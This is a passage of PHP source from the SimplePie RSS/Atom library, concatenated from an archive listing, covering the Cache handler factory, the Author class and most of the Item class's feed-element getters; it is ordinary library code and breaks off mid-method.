        'mysql'     => Cache\MySQL::class,
        'memcache'  => Cache\Memcache::class,
        'memcached' => Cache\Memcached::class,
        'redis'     => Cache\Redis::class,
    ];

    /**
     * Don't call the constructor. Please.
     */
    private function __construct()
    {
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @param string $location URL location (scheme is used to determine handler)
     * @param string $filename Unique identifier for cache object
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc'
     * @return Base Type of object depends on scheme of `$location`
     */
    public static function get_handler(string $location, string $filename, $extension)
    {
        $type = explode(':', $location, 2);
        $type = $type[0];
        if (!empty(self::$handlers[$type])) {
            $class = self::$handlers[$type];
            return new $class($location, $filename, $extension);
        }

        return new \SimplePie\Cache\File($location, $filename, $extension);
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead
     * @param string $location
     * @param string $filename
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension
     * @return Base
     */
    public function create(string $location, string $filename, $extension)
    {
        trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED);

        return self::get_handler($location, $filename, $extension);
    }

    /**
     * Register a handler
     *
     * @param string $type DSN type to register for
     * @param class-string<Base> $class Name of handler class. Must implement Base
     * @return void
     */
    public static function register(string $type, $class)
    {
        self::$handlers[$type] = $class;
    }

    /**
     * Parse a URL into an array
     *
     * @param string $url
     * @return array<string, mixed>
     */
    public static function parse_URL(string $url)
    {
        $parsedUrl = parse_url($url);

        if ($parsedUrl === false) {
            return [];
        }

        $params = array_merge($parsedUrl, ['extras' => []]);
        if (isset($params['query'])) {
            parse_str($params['query'], $params['extras']);
        }
        return $params;
    }
}

class_alias('SimplePie\Cache', 'SimplePie_Cache');
Author.php000064400000003562151450001630006520 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages all author-related data
 *
 * Used by {@see Item::get_author()} and {@see SimplePie::get_authors()}
 *
 * This class can be overloaded with {@see SimplePie::set_author_class()}
 */
class Author
{
    /**
     * Author's name
     *
     * @var ?string
     * @see get_name()
     */
    public $name;

    /**
     * Author's link
     *
     * @var ?string
     * @see get_link()
     */
    public $link;

    /**
     * Author's email address
     *
     * @var ?string
     * @see get_email()
     */
    public $email;

    /**
     * Constructor, used to input the data
     */
    public function __construct(
        ?string $name = null,
        ?string $link = null,
        ?string $email = null
    ) {
        $this->name = $name;
        $this->link = $link;
        $this->email = $email;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Author's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }

    /**
     * Author's link
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Author's email address
     *
     * @return string|null
     */
    public function get_email()
    {
        if ($this->email !== null) {
            return $this->email;
        }

        return null;
    }
}

class_alias('SimplePie\Author', 'SimplePie_Author');
Item.php000064400000401045151450001630006152 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages all item-related data
 *
 * Used by {@see \SimplePie\SimplePie::get_item()} and {@see \SimplePie\SimplePie::get_items()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_item_class()}
 */
class Item implements RegistryAware
{
    /**
     * Parent feed
     *
     * @access private
     * @var \SimplePie\SimplePie
     */
    public $feed;

    /**
     * Raw data
     *
     * @access private
     * @var array<string, mixed>
     */
    public $data = [];

    /**
     * Registry object
     *
     * @see set_registry
     * @var \SimplePie\Registry
     */
    protected $registry;

    /**
     * @var Sanitize|null
     */
    private $sanitize = null;

    /**
     * Create a new item object
     *
     * This is usually used by {@see \SimplePie\SimplePie::get_items} and
     * {@see \SimplePie\SimplePie::get_item}. Avoid creating this manually.
     *
     * @param \SimplePie\SimplePie $feed Parent feed
     * @param array<string, mixed> $data Raw data
     */
    public function __construct(\SimplePie\SimplePie $feed, array $data)
    {
        $this->feed = $feed;
        $this->data = $data;
    }

    /**
     * Set the registry handler
     *
     * This is usually used by {@see \SimplePie\Registry::create}
     *
     * @since 1.3
     * @param \SimplePie\Registry $registry
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * Get a string representation of the item
     *
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            unset($this->feed);
        }
    }

    /**
     * Get data for an item-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the item/entry tag.
     *
     * See {@see \SimplePie\SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_item_tags(string $namespace, string $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    /**
     * Get base URL of the item itself.
     * Returns `<xml:base>` or feed base URL.
     * Similar to `Item::get_base()` but can safely be used during initialisation methods
     * such as `Item::get_links()` (`Item::get_base()` and `Item::get_links()` call each-other)
     * and is not affected by enclosures.
     *
     * @param array<string, mixed> $element
     * @see get_base
     */
    private function get_own_base(array $element = []): string
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        return $this->feed->get_base();
    }

    /**
     * Get the base URL value.
     * Uses `<xml:base>`, or item link, or enclosure link, or feed base URL.
     *
     * @param array<string, mixed> $element
     * @return string
     */
    public function get_base(array $element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        $link = $this->get_permalink();
        if ($link != null) {
            return $link;
        }
        return $this->feed->get_base($element);
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see \SimplePie\SimplePie::sanitize()
     * @param string $data Data to sanitize
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize(string $data, int $type, string $base = '')
    {
        // This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
        return $this->feed->sanitize($data, $type, $base);
    }

    /**
     * Get the parent feed
     *
     * Note: this may not work as you think for multifeeds!
     *
     * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
     * @since 1.0
     * @return \SimplePie\SimplePie
     */
    public function get_feed()
    {
        return $this->feed;
    }

    /**
     * Get the unique identifier for the item
     *
     * This is usually used when writing code to check for new items in a feed.
     *
     * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
     * for RDF. If none of these are supplied (or `$hash` is true), creates an
     * MD5 hash based on the permalink, title and content.
     *
     * @since Beta 2
     * @param bool $hash Should we force using a hash instead of the supplied ID?
     * @param string|false $fn User-supplied function to generate an hash
     * @return string|null
     */
    public function get_id(bool $hash = false, $fn = 'md5')
    {
        if (!$hash) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif (isset($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'])) {
                return $this->sanitize($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
        }
        if ($fn === false) {
            return null;
        } elseif (!is_callable($fn)) {
            trigger_error('User-supplied function $fn must be callable', E_USER_WARNING);
            $fn = 'md5';
        }
        return call_user_func(
            $fn,
            $this->get_permalink().$this->get_title().$this->get_content()
        );
    }

    /**
     * Get the title of the item
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since Beta 2 (previously called `get_item_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if (!isset($this->data['title'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $this->data['title'] = null;
            }
        }
        return $this->data['title'];
    }

    /**
     * Get the content for the item
     *
     * Prefers summaries over full content , but will return full content if a
     * summary does not exist.
     *
     * To prefer full content instead, use {@see get_content}
     *
     * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
     * `<itunes:subtitle>`
     *
     * @since 0.8
     * @param bool $description_only Should we avoid falling back to the content?
     * @return string|null
     */
    public function get_description(bool $description_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'summary')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML))) {
            return $return;
        } elseif (!$description_only) {
            return $this->get_content(true);
        }

        return null;
    }

    /**
     * Get the content for the item
     *
     * Prefers full content over summaries, but will return a summary if full
     * content does not exist.
     *
     * To prefer summaries instead, use {@see get_description}
     *
     * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
     *
     * @since 1.0
     * @param bool $content_only Should we avoid falling back to the description?
     * @return string|null
     */
    public function get_content(bool $content_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'content')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_content_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'content')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (!$content_only) {
            return $this->get_description(true);
        }

        return null;
    }

    /**
     * Get the media:thumbnail of the item
     *
     * Uses `<media:thumbnail>`
     *
     *
     * @return array{url: string, height?: string, width?: string, time?: string}|null
     */
    public function get_thumbnail()
    {
        if (!isset($this->data['thumbnail'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                $thumbnail = $return[0]['attribs'][''];
                if (empty($thumbnail['url'])) {
                    $this->data['thumbnail'] = null;
                } else {
                    $thumbnail['url'] = $this->sanitize($thumbnail['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
                    $this->data['thumbnail'] = $thumbnail;
                }
            } else {
                $this->data['thumbnail'] = null;
            }
        }
        return $this->data['thumbnail'];
    }

    /**
     * Get a category for the item
     *
     * @since Beta 3 (previously called `get_categories()` since Beta 2)
     * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the item
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Beta 3
     * @return \SimplePie\Category[]|null List of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        $type = 'category';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, $type) as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, $type) as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null, $type]);
        }

        $type = 'subject';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the item
     *
     * @since Beta 2
     * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_author(int $key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get a contributor for the item
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_contributor(int $key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the item
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get all authors for the item
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since Beta 2
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'author')) {
            $authors[] = $this->registry->create(Author::class, [null, null, $this->sanitize($author[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) {
            return $authors;
        } elseif ($authors = $this->feed->get_authors()) {
            return $authors;
        }

        return null;
    }

    /**
     * Get the copyright info for the item
     *
     * Uses `<atom:rights>` or `<dc:rights>`
     *
     * @since 1.1
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item
     *
     * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
     * `<atom:modified>`, `<pubDate>` or `<dc:date>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @since Beta 2 (previously called `get_item_date` since 0.8)
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return ($date_format is 'U' ? ?int : ?string)
     */
    public function get_date(string $date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['date'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'published')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'pubDate')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'issued')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'created')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'modified')) {
                $this->data['date']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['date']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']) ?: null;
            } else {
                $this->data['date'] = null;
            }
        }
        if ($this->data['date']) {
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['date']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['date']['parsed'];

                default:
                    return date($date_format, $this->data['date']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the update date/time for the item
     *
     * Uses `<atom:updated>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return ($date_format is 'U' ? ?int : ?string)
     */
    public function get_updated_date(string $date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['updated'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['updated']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['updated']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']) ?: null;
            } else {
                $this->data['updated'] = null;
            }
        }
        if ($this->data['updated']) {
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['updated']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['updated']['parsed'];

                default:
                    return date($date_format, $this->data['updated']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the localized posting date/time for the item
     *
     * Returns the date formatted in the localized language. To display in
     * languages other than the server's default, you need to change the locale
     * with {@link http://php.net/setlocale setlocale()}. The available
     * localizations depend on which ones are installed on your web server.
     *
     * @since 1.0
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
     * @return string|null|false see `strftime` for when this can return `false`
     */
    public function get_local_date(string $date_format = '%c')
    {
        if ($date_format === '') {
